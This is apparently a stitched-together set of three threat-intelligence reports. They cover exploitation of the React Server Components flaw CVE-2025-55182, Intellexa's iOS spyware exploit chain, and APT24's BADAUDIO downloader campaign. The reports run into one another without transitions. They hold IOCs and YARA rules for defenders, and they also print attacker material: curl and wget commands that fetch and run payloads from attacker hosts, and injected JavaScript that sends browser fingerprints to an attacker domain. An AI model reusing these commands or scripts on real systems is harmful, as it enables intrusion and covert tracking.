Written by: Aragorn Tseng, Robert Weiner, Casey Charrier, Zander Work, Genevieve Stark, Austin Larsen

Introduction

On Dec. 3, 2025, a critical unauthenticated remote code execution (RCE) vulnerability in React Server Components, tracked as CVE-2025-55182 (aka "React2Shell"), was publicly disclosed. Shortly after disclosure, Google Threat Intelligence Group (GTIG) had begun observing widespread exploitation across many threat clusters, ranging from opportunistic cyber crime actors to suspected espionage groups.

GTIG has identified distinct campaigns leveraging this vulnerability to deploy a MINOCAT tunneler, SNOWLIGHT downloader, HISONIC backdoor, and COMPOOD backdoor, as well as XMRIG cryptocurrency miners, some of which overlaps with activity previously reported by Huntress. These observed campaigns highlight the risk posed to organizations using unpatched versions of React and Next.js. This post details the observed exploitation chains and post-compromise behaviors and provides intelligence to assist defenders in identifying and remediating this threat.

For information on how Google is protecting customers and mitigation guidance, please refer to our companion blog post, Responding to CVE-2025-55182: Secure your React and Next.js workloads.

CVE-2025-55182 Overview

CVE-2025-55182 is an unauthenticated RCE vulnerability in React Server Components with a CVSS v3.x score of 10.0 and a CVSS v4 score of 9.3. The flaw allows unauthenticated attackers to send a single HTTP request that executes arbitrary code with the privileges of the user running the affected web server process.

GTIG considers CVE-2025-55182 to be a critical-risk vulnerability. Due to the use of React Server Components (RSC) in popular frameworks like Next.js, there are a significant number of exposed systems vulnerable to this issue. Exploitation potential is further increased by two factors: 1) there are a variety of valid payload formats and techniques, and 2) the mere presence of vulnerable packages on systems is often enough to permit exploitation.

The specific RSC packages that are vulnerable to CVE-2025-55182 are versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

• react-server-dom-webpack

• react-server-dom-parcel

• react-server-dom-turbopack

A large number of non-functional exploits, and consequently false information regarding viable payloads and exploitation logic, were widely distributed about this vulnerability during the initial days after disclosure. An example of a repository that started out wholly non-functional is this repository published by the GitHub user "ejpir", which, while initially claiming to be a legitimate functional exploit, has now updated their README to appropriately label their initial research claims as AI-generated and non-functional. While this repository still contains non-functional exploit code, it also now contains legitimate exploit code with Unicode obfuscation. While instances like this initially caused confusion across the industry, the number of legitimate exploits and their capabilities have massively expanded, including in-memory Next.js web shell deployment capabilities. There are also exploit samples, some entirely fake, some non-functional, and some with legitimate functionality, containing malware targeting security researchers. Researchers should validate all exploit code before trusting its capabilities or legitimacy.

Technical write-ups about this vulnerability have been published by reputable security firms, such as the one from Wiz. Researchers should refer to such trusted publications for up-to-date and accurate information when validating vulnerability details, exploit code, or published detections.

Additionally, there was a separate CVE issued for Next.js (CVE-2025-66478); however, this CVE has since been marked as a duplicate of CVE-2025-55182.

Observed Exploitation Activity

Since exploitation of CVE-2025-55182 began, GTIG has observed diverse payloads and post-exploitation behaviors across multiple regions and industries. In this blog post we focus on China-nexus espionage and financially motivated activity, but we have additionally observed Iran-nexus actors exploiting CVE-2025-55182.

China-Nexus Activity

As of Dec. 12, GTIG has identified multiple China-nexus threat clusters utilizing CVE-2025-55182 to compromise victim networks globally. Amazon Web Services (AWS) reporting indicates that China-nexus threat groups Earth Lamia and Jackpot Panda are also exploiting this vulnerability. GTIG tracks Earth Lamia as UNC5454. Currently, there are no public indicators available to assess a group relationship for Jackpot Panda.

MINOCAT

GTIG observed China-nexus espionage cluster UNC6600 exploiting the vulnerability to deliver the MINOCAT tunneler. The threat actor retrieved and executed a bash script used to create a hidden directory ($HOME/.systemd-utils), kill any processes named "ntpclient", download a MINOCAT binary, and establish persistence by creating a new cron job and a systemd service and by inserting malicious commands into the current user's shell config to execute MINOCAT whenever a new shell is started. MINOCAT is an 64-bit ELF executable for Linux that includes a custom "NSS" wrapper and an embedded, open-source Fast Reverse Proxy (FRP) client that handles the actual tunneling.

SNOWLIGHT

In separate incidents, suspected China-nexus threat actor UNC6586 exploited the vulnerability to execute a command using cURL or wget to retrieve a script that then downloaded and executed a SNOWLIGHT downloader payload (7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a). SNOWLIGHT is a component of VSHELL, a publicly available multi-platform backdoor written in Go, which has been used by threat actors of varying motivations. GTIG observed SNOWLIGHT making HTTP GET requests to C2 infrastructure (e.g., reactcdn.windowserrorapis[.]com) to retrieve additional payloads masquerading as legitimate files.

curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=true -o <filename>

Figure 1: cURL command executed to fetch SNOWLIGHT payload

COMPOOD

GTIG also observed multiple incidents in which threat actor UNC6588 exploited CVE-2025-55182, then ran a script that used wget to download a COMPOOD backdoor payload. The script then executed the COMPOOD sample, which masqueraded as Vim. GTIG did not observe any significant follow-on activity, and this threat actor's motivations are currently unknown.

wget http://45.76.155[.]14/vim -O /tmp/vim
/tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"

Figure 2: COMPOOD downloaded via wget and executed

COMPOOD has historically been linked to suspected China-nexus espionage activity. In 2022, GTIG observed COMPOOD in incidents involving a suspected China-nexus espionage actor, and we also observed samples uploaded to VirusTotal from Taiwan, Vietnam, and China.

HISONIC

Another China-nexus actor, UNC6603, deployed an updated version of the HISONIC backdoor. HISONIC is a Go-based implant that utilizes legitimate cloud services, such as Cloudflare Pages and GitLab, to retrieve its encrypted configuration. This technique allows the actor to blend malicious traffic with legitimate network activity. In this instance, the actor embedded an XOR-encoded configuration for the HISONIC backdoor delimited between two markers, "115e1fc47977812" to denote the start of the configuration and "725166234cf88gxx" to mark the end. Telemetry indicates this actor is targeting cloud infrastructure, specifically AWS and Alibaba Cloud instances, within the Asia Pacific (APAC) region.

<version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>

Figure 3: HISONIC markers denoting configuration

ANGRYREBEL.LINUX

Finally, we also observed a China-nexus actor, UNC6595, exploiting the vulnerability to deploy ANGRYREBEL.LINUX. The threat actor uses an installation script (b.sh) that attempts to evade detection by masquerading the malware as the legitimate OpenSSH daemon (sshd) within the /etc/ directory, rather than its standard location. The actor also employs timestomping to alter file timestamps and executes anti-forensics commands, such as clearing the shell history (history -c). Telemetry indicates this cluster is primarily targeting infrastructure hosted on international Virtual Private Servers (VPS).

Financially Motivated Activity

Threat actors that monetize access via cryptomining are often among the first to exploit newly disclosed vulnerabilities. GTIG observed multiple incidents, starting on Dec. 5, in which threat actors exploited CVE-2025-55182 and deployed XMRig for illicit cryptocurrency mining. In one observed chain, the actor downloaded a shell script named "sex.sh," which downloads and executes the XMRIG cryptocurrency miner from GitHub. The script also attempts to establish persistence for the miner via a new systemd service called "system-update-service."

GTIG has also observed numerous discussions regarding CVE-2025-55182 in underground forums, including threads in which threat actors have shared links to scanning tools, proof-of-concept (PoC) code, and their experiences using these tools.

Outlook and Implications

After the disclosure of high-visibility, critical vulnerabilities, it is common for affected products to undergo a period of increased scrutiny, resulting in a swift but temporary increase in the number of vulnerabilities discovered. Since the disclosure of CVE-2025-55182, three additional React vulnerabilities have been disclosed: CVE-2025-55183, CVE-2025-55184, and CVE-2025-67779. In this case, two of these follow-on vulnerabilities have relatively limited impacts (restricted information disclosure and causing a denial-of-service (DoS) condition). The third vulnerability (CVE-2025-67779) also causes a DoS condition, as it arose due to an incomplete patch for CVE-2025-55184.

Recommendations

Organizations utilizing React or Next.js should take the following actions immediately:

1. Patch Immediately:

1. To prevent remote code execution due to CVE-2025-55182, patch vulnerable React Server Components to at least 19.0.1, 19.1.2, or 19.2.1, depending on your vulnerable version. Patching to 19.2.2 or 19.2.3 will also prevent the potential for remote code execution.

2. To prevent the information disclosure impacts due to CVE-2025-55183, patch vulnerable React Server Components to at least 19.2.2.

3. To prevent DoS impacts due to CVE-2025-55184 and CVE-2025-67779, patch vulnerable React Server Components to 19.2.3. The 19.2.2 patch was found to be insufficient in preventing DoS impacts.

2. Deploy WAF Rules: Google has rolled out a Cloud Armor web application firewall (WAF) rule designed to detect and block exploitation attempts related to this vulnerability. We recommend deploying this rule as a temporary mitigation while your vulnerability management program patches and verifies all vulnerable instances.

3. Audit Dependencies: Determine if vulnerable React Server Components are included as a dependency in other applications within your environment.

4. Monitor Network Traffic: Review logs for outbound connections to the indicators of compromise (IOCs) listed below, particularly wget or cURL commands initiated by web server processes.

5. Hunt for Compromise: Look for the creation of hidden directories like $HOME/.systemd-utils, the unauthorized termination of processes such as ntpclient, and the injection of malicious execution logic into shell configuration files like $HOME/.bashrc.

Indicators of Compromise (IOCs)

To assist defenders in hunting for this activity, we have included IOCs for the threats described in this blog post. A broader subset of related indicators is available in a Google Threat Intelligence Collection of IOCs available for registered users.

YARA Rules

MINOCAT

rule G_APT_Tunneler_MINOCAT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-10"
		rev = "1"
		md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
	strings:
		$magic = { 7F 45 4C 46 }
		$decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
		$xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
		$frp_str1 = "libxf-2.9.644/main.c"
		$frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
		$frp_str3 = "cannot found run ID, it should inited when login!"
		$frp_str4 = "new work connection request run_id marshal failed!"
		$telnet_str1 = "Starting telnetd on port %d\n"
		$telnet_str2 = "No login shell found at %s\n"
		$key = "bigeelaminoacow"
	condition:
		$magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*)) and $key
}

COMPOOD

rule G_Backdoor_COMPOOD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-11"
		rev = “1”
            md5 = “d3e7b234cf76286c425d987818da3304”
	strings:
		$strings_1 = "ShellLinux.Shell"
		$strings_2 = "ShellLinux.Exec_shell"
		$strings_3 = "ProcessLinux.sendBody"
		$strings_4 = "ProcessLinux.ProcessTask"
		$strings_5 = "socket5Quick.StopProxy"
		$strings_6 = "httpAndTcp"
		$strings_7 = "clean.readFile"
		$strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
		$strings_9 = "/proc/self/auxv"
		$strings_10 = "/dev/urandom"
		$strings_11 = "client finished"
		$strings_12 = "github.com/creack/pty.Start"
	condition:
		uint32(0) == 0x464C457f and 8 of ($strings_*)
}

SNOWLIGHT

rule G_Hunting_Downloader_SNOWLIGHT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-03-25"
		date_modified = "2025-03-25"
		md5 = "3a7b89429f768fdd799ca40052205dd4"
		rev = 1
	strings:
		$str1 = "rm -rf $v"
		$str2 = "&t=tcp&a="
		$str3 = "&stage=true"
		$str4 = "export PATH=$PATH:$(pwd)"
		$str5 = "curl"
		$str6 = "wget"
		$str7 = "python -c 'import urllib"
	condition:
		all of them and filesize < 5KB
}

Introduction 

Despite extensive scrutiny and public reporting, commercial surveillance vendors continue to operate unimpeded. A prominent name continues to surface in the world of mercenary spyware, Intellexa. Known for its “Predator” spyware, the company was sanctioned by the US Government. New Google Threat Intelligence Group (GTIG) analysis shows that Intellexa is evading restrictions and thriving. 

Intellexa has adapted, evaded restrictions, and continues selling digital weapons to the highest bidders. Alongside research published by our colleagues from Recorded Future and Amnesty, this blog post will shed light on Intellexa’s recent activities, unveil the real-world impact of their surveillance tools, and detail the actions we are taking against this industry.

Continued Prolific Exploitation of Zero-Day Vulnerabilities 

Over the past several years, Intellexa has solidified its position as one of, if not the most, prolific spyware vendors exploiting zero-day vulnerabilities against mobile browsers. Despite the consistent efforts of security researchers and platform vendors to identify and patch these flaws, Intellexa repeatedly demonstrates an ability to procure or develop new zero-day exploits, quickly adapting and continuing operations for their customers.

Intellexa is responsible for a substantial number of the zero-day vulnerabilities identified over the years by Google’s Threat Analysis Group (TAG), now part of GTIG. As an example, out of approximately 70 zero-day vulnerabilities discovered and documented by TAG since 2021, Intellexa accounts for 15 unique zero-days, including Remote Code Execution (RCE), Sandbox Escape (SBX), and Local Privilege Escalation (LPE) vulnerabilities. All of these zero-days have been patched by the respective vendors. In addition to developing exploitation of zero-days, we increasingly see evidence that Intellexa is purchasing steps of exploit chains from external entities.

Exploit Chain 

Partnering with our colleagues at CitizenLab in 2023, we captured a full iOS zero-day exploit chain used in the wild against targets in Egypt. Developed by Intellexa, this exploit chain was used to install spyware publicly known as Predator surreptitiously onto a device. According to metadata, Intellexa referred to this exploit chain internally as “smack.”

First Stage: JSKit Framework Déjà Vu

The initial stage of the exploit chain was a Safari RCE zero-day that Apple fixed as CVE-2023-41993. The exploit leveraged a framework internally called “JSKit.” Once arbitrary memory read and write primitives have been achieved thanks to a vulnerability in the renderer, in this case CVE-2023-41993, the framework provides all the requisite components to perform native code execution on modern Apple devices.

We believe that Intellexa acquired their iOS RCE exploits from an external entity, as we have seen this exact same JSKit framework used by other surveillance vendors and government-backed attackers since 2021. In 2024, we reported publicly on a campaign by Russian government-backed attackers using this exact same iOS exploit and JSKit framework in a watering hole attack against Mongolian government websites. We have also seen it used in other campaigns by surveillance vendors, including another surveillance vendor using the same framework when exploiting CVE-2022-42856 in 2022.

The JSKit framework is well maintained, supports a wide range of iOS versions, and is modular enough to support different Pointer Authentication Code (PAC) bypasses and code execution techniques. The framework can parse in-memory Mach-O binaries to resolve custom symbols and can ultimately manually map and execute Mach-O binaries directly from memory. In addition, the JSKit framework is fairly robust and well engineered, with each step of the exploitation process tested carefully. To date, we haven't seen a similar framework exist for Android.

The exploit Intellexa used was apparently tracked internally as "exploit number 7," according to debug strings at the entry point of the RCE exploit. This suggests that the external entity supplying exploits likely possesses a substantial number of iOS exploits targeting a wide range of versions.

Regarding Chrome exploitation, Intellexa has used a custom framework with all the features needed to gain code execution from any arbitrary vulnerability capable of leaking TheHole magic object in V8. They first used this framework with CVE-2021-38003, then with CVE-2023-4762, CVE-2023-3079, CVE-2023-2033, and more recently in June 2025 with CVE-2025-6554, observed in Saudi Arabia. This most recent, CVE-2025-6554, was a type confusion error in Chrome’s v8 engine. Chrome quickly mitigated the issue for all Chrome users with a configuration change and then fixed the bug as CVE-2025-6554 in version 138.0.7204.96. All these CVEs are vulnerabilities in V8 that all can be used to leak TheHole object.

Following Stages: Watching the Helper

The second stage is the most technical part of the chain and would require an entire separate blog post to describe all of its functionality. Essentially, this stage is in charge of breaking out of the Safari sandbox and executing an untrusted third stage payload as system by abusing the kernel vulnerabilities CVE-2023-41991 and CVE-2023-41992. This second stage communicates with the first stage to re-use some of the primitives (e.g., PAC bypass) and offers kernel memory read/write capabilities to the third stage.

The third stage (tracked by GTIG as PREYHUNTER) is the last one we captured and is composed of two modules called "helper" and "watcher."

The watcher module primarily ensures that the infected device does not exhibit suspicious behavior; if such behavior is detected, a notification is generated, and the exploitation process is terminated. The module is also in charge of monitoring crashes.

The following behaviors are detected:

• Developer mode via security.mac.amfi.developer_mode_status

• Console attached via diagnosticd

• US or IL locale set on the phone

• Cydia installed

• Bash, tcpdump, frida, sshd, or checkrain process currently running on the phone

• McAfee, AvastMobileSecurity, or NortonMobileSecurity installed on the phone

• Custom HTTP proxy setup

• Custom root CA installed

The helper module is communicating with the other parts of the exploit via a Unix socket at /tmp/helper.sock. Similar to the ALIEN malware for Android, the module has the ability to hook various places with custom frameworks called DMHooker and UMHooker. These hooks are allowing the module to perform basic spyware capabilities such as:

• Recording VOIP conversations (stored in /private/var/tmp/l/voip_%lu_%u_PART.m4a)

• Running a keylogger

• Capturing pictures from the camera

The module is also hooking into the SpringBoard in order to hide user notifications caused by the aforementioned actions. We believe these capabilities are provided to the operator to make sure the infected device is the correct one before deploying a more sophisticated spyware, such as Predator.

The binary left compilation artifacts such as the following build directory including the name of the exploit chain.

/Users/gitlab_ci_2/builds/jbSFKQv5/0/roe/ios16.5-smackjs8-production/.

Overall, these exploits are high in sophistication, especially compared to the less sophisticated spyware stager, supporting our assessment that the exploits were likely acquired from another party. 

Disrupting Novel Delivery Capabilities

The primary delivery mechanism for Intellexa's exploits remains one-time links sent to targets directly via end-to-end encrypted messaging applications. However, we have also observed another tactic with a few customers—the use of malicious advertisements on third-party platforms to fingerprint users and redirect targeted users to Intellexa's exploit delivery servers.

We believe this campaign is another example of commercial surveillance vendors abusing ads for exploit delivery, and Intellexa has gotten increasingly involved in this space since early 2025. Working with our partners, we identified the companies Intellexa created to infiltrate the advertising ecosystem, and those partners subsequently shut down the accounts from their platforms.

Addressing the Threat of Intellexa’s Activities 

Community efforts to raise awareness have built momentum toward an international policy response. Google has been a committed participant in the Pall Mall Process, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including steps taken by the US Government to limit government use of spyware, and a first-of-its-kind international commitment to similar efforts.

Recognizing the severity and widespread nature of Intellexa's activities in particular, we have made the decision to simultaneously deliver our government-backed attack warning to all known targeted accounts associated with Intellexa's customers since 2023. This effort encompasses several hundred accounts across various countries, including Pakistan, Kazakhstan, Angola, Egypt, Uzbekistan, Saudi Arabia, and Tajikistan, ensuring that individuals at risk are made aware of these sophisticated threats.

Following our disclosure policy, we are sharing our research to raise awareness and advance security across the ecosystem. We have also added all identified websites and domains to Safe Browsing to safeguard users from further exploitation. We urge users and organizations to apply patches quickly and keep software fully up-to-date for their protection. Google will remain focused on detecting, analyzing, and preventing zero-day exploitation as well as reporting vulnerabilities to vendors immediately upon discovery.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI Collection for registered users.

File Indicators

• 85d8f504cadb55851a393a13a026f1833ed6db32cb07882415e029e709ae0750
• e3314bcd085bd547d9b977351ab72a8b83093c47a73eb5502db4b98e0db42cac

YARA Rule

This rule is intended to serve as a starting point for hunting efforts to identify PREYHUNTER malware; however, it may need adjustment over time.

rule G_Hunting_PREYHUNTER_IOSStrings_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "/Users/gitlab_ci_2/builds/jb"
		$ = "/roe/ios1"
		$ = "-production/libs/Exploit" ascii wide
		$ = "/private/var/tmp/l/voip_%lu_%u_PART.m4a" ascii wide
		$ = "/private/var/tmp/etherium.txt" ascii wide
		$ = "/private/var/tmp/kusama.txt" ascii wide
		$ = "_gadget_pacia" ascii wide
		$ = "ZN6Helper4Voip10setupHooksEvE3$_3" ascii wide
		$ = "Hook 1 triggered! location:" ascii wide
		$ = "KernelReaderI11CorelliumRWE" ascii wide
		$ = "NSTaskROP20WithoutDeveloperMode" ascii wide
		$ = "UMHookerI14RemoteTaskPort" ascii wide
		$ = "callFunc: building PAC cache for" ascii wide
		$ = "select  tset  FROM tsettings WHERE INSTR(tset, ?)" ascii wide
		$ = "select * from tsettings WHERE length(sha256) > ?" ascii wide
		$ = "isTrojanThreadERK" ascii wide
		$ = "getpid from victim returned:" ascii wide
		$ = "victim task kaddr:" ascii wide
	condition:
		1 of them
}

Acknowledgements

We would like to acknowledge and thank The Citizen Lab and Amnesty International for their collaboration and partnership.

Written by: Harsh Parashar, Tierra Duncan, Dan Perez

Google Threat Intelligence Group (GTIG) is tracking a long-running and adaptive cyber espionage campaign by APT24, a People's Republic of China (PRC)-nexus threat actor. Spanning three years, APT24 has been deploying BADAUDIO, a highly obfuscated first-stage downloader used to establish persistent access to victim networks.

While earlier operations relied on broad strategic web compromises to compromise legitimate websites, APT24 has recently pivoted to using more sophisticated vectors targeting organizations in Taiwan. This includes the repeated compromise of a regional digital marketing firm to execute supply chain attacks and the use of targeted phishing campaigns.

This report provides a technical analysis of the BADAUDIO malware, details the evolution of APT24's delivery mechanisms from 2022 to present, and offers actionable intelligence to help defenders detect and mitigate this persistent threat.

As part of our efforts to combat serious threat actors, GTIG uses the results of our research to improve the safety and security of Google’s products and users. Upon discovery, all identified websites, domains, and files are added to the Safe Browsing blocklist in order to protect web users across major browsers. We also conducted a series of victim notifications with technical details to compromised sites, enabling affected organizations to secure their sites and prevent future infections.

Payload Analysis: BADAUDIO and Cobalt Strike Beacon Integration

The BADAUDIO malware is a custom first-stage downloader written in C++ that downloads, decrypts, and executes an AES-encrypted payload from a hard-coded command and control (C2) server. The malware collects basic system information, encrypts it using a hard-coded AES key, and sends it as a cookie value with the GET request to fetch the payload. The payload, in one case identified as Cobalt Strike Beacon, is decrypted with the same key and executed in memory.

GET https://wispy[.]geneva[.]workers[.]dev/pub/static/img/merged?version=65feddea0367 HTTP/1.1
Host: wispy[.]geneva[.]workers[.]dev
Cookie: SSID=0uGjnpPHjOqhpT7PZJHD2WkLAxwHkpxMnKvq96VsYSCIjKKGeBfIKGKpqbRmpr6bBs8hT0ZtzL7/kHc+fyJkIoZ8hDyO8L3V1NFjqOBqFQ==
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

--------------------------

GET
cfuvid=Iewmfm8VY6Ky-3-E-OVHnYBszObHNjr9MpLbLHDxX056bnRflosOpp2hheQHsjZFY2JmmO8abTekDPKzVjcpnedzNgEq2p3YSccJZkjRW7-mFsd0-VrRYvWxHS95kxTRZ5X4FKIDDeplPFhhb3qiUEkQqqgulNk_U0O7U50APVE
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

Figure 2: BADAUDIO code sample

The malware is engineered with control flow flattening—a sophisticated obfuscation technique that systematically dismantles a program's natural, structured logic. This method replaces linear code with a series of disconnected blocks governed by a central "dispatcher" and a state variable, forcing analysts to manually trace each execution path and significantly impeding both automated and manual reverse engineering efforts.

BADAUDIO typically manifests as a malicious Dynamic Link Library (DLL) leveraging DLL Search Order Hijacking (MITRE ATT&CK T1574.001) for execution via legitimate applications. Recent variants observed indicate a refined execution chain: encrypted archives containing BADAUDIO DLLs along with VBS, BAT, and LNK files. 

These supplementary files automate the placement of the BADAUDIO DLL and a legitimate executable into user directories, establish persistence through legitimate executable startup entries, and trigger the DLL sideloading. This multi-layered approach to execution and persistence minimizes direct indicators of compromise.

Upon execution, BADAUDIO collects rudimentary host information: hostname, username, and system architecture. This collected data is then hashed and embedded within a cookie parameter in the C2 request header. This technique provides a subtle yet effective method for beaconing and identifying compromised systems, complicating network-based detection.

In one of these cases, the subsequent payload, decrypted using a hard-coded AES key, has been confirmed as Cobalt Strike Beacon. However, it is not confirmed that Cobalt Strike is present in every instance. The Beacon payload contained a relatively unique watermark that was previously observed in a separate APT24 campaign, shared in the Indicators of Compromise section. Cobalt Strike watermarks are a unique value generated from and tied to a given "CobaltStrike.auth" file. This value is embedded as the last 4 bytes for all BEACON stagers and in the embedded configuration for full backdoor BEACON samples.

Campaign Overview: BADAUDIO Delivery Evolves

Over three years, APT24 leveraged various techniques to deliver BADAUDIO, including strategic web compromises, repeated supply-chain compromise of a regional digital marketing firm in Taiwan, and spear phishing.

Public Strategic Web Compromise Campaign

Beginning in November 2022 we observed over 20 compromised websites spanning a broad array of subjects from regional industrial concerns to recreational goods, suggesting an opportunistic approach to initial access with true targeting selectively executed against visitors the attackers identified via fingerprinting. The legitimate websites were weaponized through the injection of a malicious JavaScript payload.

This script exhibited an initial layer of targeting, specifically excluding macOS, iOS, Android, and various Microsoft Internet Explorer/Edge browser variants to focus exclusively on Windows systems. This selectivity suggests an adversary immediately narrowing their scope to optimize for a specific, likely high-value, victim profile.

The injected JavaScript performed a critical reconnaissance function by employing the FingerprintJS library to generate a unique browser fingerprint. This fingerprint, transmitted via an HTTP request to an attacker-controlled domain, served as an implicit validation mechanism. Upon successful validation, the victim was presented with a fabricated pop-up dialog, engineered to trick the user into downloading and executing BADAUDIO malware.

$(window).ready(function() {
    var userAgent = navigator.userAgent;
    var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1;
    var isEdge = userAgent.indexOf("Edge") > -1 && !isIE;
    var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
    var isMac = userAgent.indexOf('Macintosh') > -1;
    var isiPhone = userAgent.indexOf('iPhone') > -1;
    var isFireFox = userAgent.indexOf('Firefox') > -1;
    if (!isIE && !isEdge && !isIE11 && !isMac && !isiPhone && !isFireFox) {
        var tag_script = document.createElement("script");
        tag_script.type = "text/javascript";
        tag_script.src = "https://cdn.jsdelivr.net/npm/@fingerprintjs/fingerprintjs@2/dist/fingerprint2.min.js";
        tag_script.onload = "initFingerprintJS()";
        document.body.appendChild(tag_script);
        if (typeof(callback) !== "undefined") {
            tag_script.onload = function() {
                callback();
            }
        }
        function callback() {
            var option = {
                excludes: {
                    screenResolution: true,
                    availableScreenResolution: true,
                    enumerateDevices: true
                }
            }
            new Fingerprint2.get(option, function(components) {
                var values = components.map(function(component) {
                    return component.value
                })
                var murmur = Fingerprint2.x64hash128(values.join(''), 31);
                console.log(murmur)
                var script_tag = document.createElement("script");
                script_tag.setAttribute("src", "https://www[.]twisinbeth[.]com/query.php?id=" + murmur);
                document.body.appendChild(script_tag);
            });
        }
    }
});

Figure 6: Early malicious fingerprinting JS used in strategic web compromise campaigns

The attackers consistently shift their infrastructure, using a mix of newly registered domains and domains they have previously compromised. We last observed this tactic in early September 2025.

Escalation: Supply Chain Compromise for Strategic Web Compromises at Scale 

In July 2024, APT24 compromised a regional digital marketing firm in Taiwan- a supply chain attack that impacted more than 1,000 domains. Notably, the firm experienced multiple re-compromises over the last year, demonstrating APT24's persistent commitment to the operation.

We initiated a multifaceted remediation effort to disrupt these threats. In addition to developing custom logic to identify and block the modified, malicious JavaScript, GTIG distributed victim notifications to the individual compromised websites and the compromised marketing firm. These notifications provided specific details about the threat and the modifications made to the original script, enabling affected organizations to secure their sites and prevent future infections.

In the first iteration of the supply chain compromise, APT24 injected the malicious script into a widely used JavaScript library (MITRE ATT&CK T1195.001) provided by the firm, leveraging a typosquatting domain to impersonate a legitimate Content Delivery Network (CDN). The deobfuscated JavaScript reveals a multi-stage infection chain:

• Dynamic Dependency Loading: The script dynamically loads legitimate jQuery and FingerprintJS2 libraries (MITRE ATT&CK T1059.007) from a public CDN if not already present, ensuring consistent execution across diverse web environments.

• Multi-Layer JS Concealment: During a re-compromise discovered in July 2025, the adversary took additional steps to hide their malicious code. The highly obfuscated script (MITRE ATT&CK T1059) was deliberately placed within a maliciously modified JSON file served by the vendor, which was then loaded and executed by another compromised JavaScript file. This tactic effectively concealed the final payload in a file type and structure not typically associated with code execution.

• Advanced Fingerprinting: FingerprintJS2 is utilized to generate an x64hash128 browser and environmental fingerprint (MITRE ATT&CK T1082) . The x64hash128 is the resulting 128-bit hash value produced by the MurmurHash3 algorithm, which processes a large input string of collected browser characteristics (such as screen resolution, installed fonts, and GPU details) to create a unique, consistent identifier for the user's device.

• Covert Data Exfiltration and Staging: A POST request, transmitting Base64-encoded reconnaissance data (including host, url, useragent, fingerprint, referrer, time, and a unique identifier), is sent to an attacker's endpoint (MITRE ATT&CK T1041). 

• Adaptive Payload Delivery: Successful C2 responses trigger the dynamic loading of a subsequent script from a URL provided in the response's data field. This cloaked redirect leads to BADAUDIO landing pages, contingent on the attacker's C2 logic and fingerprint assessment (MITRE ATT&CK T1105).

• Tailored Targeting: The compromise in June 2025 initially employed conditional script loading based on a unique web ID (the specific domain name) related to the website using the compromised third-party scripts. This suggests tailored targeting, limiting the strategic web compromise (MITRE ATT&CK T1189) to a single domain. However, for a ten-day period in August, the conditions were temporarily lifted, allowing all 1,000 domains using the scripts to be compromised before the original restriction was reimposed.

Targeted Phishing Campaigns

Complementing their broader web-based attacks, APT24 concurrently conducted highly targeted social engineering campaigns. Lures, such as an email purporting to be from an animal rescue organization, leveraged social engineering to elicit user interaction and drive direct malware downloads from attacker-controlled domains.

Separate campaigns abused legitimate cloud storage platforms including Google Drive and OneDrive to distribute encrypted archives containing BADAUDIO. Google protected users by diverting these messages to spam, disrupting the threat actor’s effort to leverage reputable services in their campaigns.

APT24 included pixel tracking links, confirming email opens and potentially validating target interest for subsequent exploitation. This dual-pronged approach—leveraging widely trusted cloud services and explicit tracking—enhances their ability to conduct effective, personalized campaigns.

Outlook

This nearly three-year campaign is a clear example of the continued evolution of APT24’s operational capabilities and highlights the sophistication of PRC-nexus threat actors. The use of advanced techniques like supply chain compromise, multi-layered social engineering, and the abuse of legitimate cloud services demonstrates the actor's capacity for persistent and adaptive espionage. 

This activity follows a broader trend GTIG has observed of PRC-nexus threat actors increasingly employing stealthy tactics to avoid detection. GTIG actively monitors ongoing threats from actors like APT24 to protect users and customers. As part of this effort, Google continuously updates its protections and has taken specific action against this campaign.

We are committed to sharing our findings with the security community to raise awareness and to disrupt this activity. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Acknowledgements 

This analysis would not have been possible without the assistance from FLARE. We would like to specifically thank Ray Leong, Jay Gibble and Jon Daniels for their contributions to the analysis and detections for BADAUDIO.

Indicators of Compromise

A Google Threat Intelligence (GTI) collection of related IOCs is available to registered users.

Strategic Web Compromise JS

88fa2b5489d178e59d33428ba4088d114025acd1febfa8f7971f29130bda1213
032c333eab80d58d60228691971d79b2c4cd6b9013bae53374dd986faa0f3f4c
ae8473a027b0bcc65d1db225848904e54935736ab943edf3590b847cb571f980
0e98baf6d3b67ca9c994eb5eb9bbd40584be68b0db9ca76f417fb3bcec9cf958
55e02a81986aa313b663c3049d30ea0158641a451cb8190233c09bef335ef5c7

Strategic Web Compromise — Modified Supplier JS

07226a716d4c8e012d6fabeffe2545b3abfc0b1b9d2fccfa500d3910e27ca65b
5c37130523c57a7d8583c1563f56a2e2f21eef5976380fdb3544be62c6ad2de5
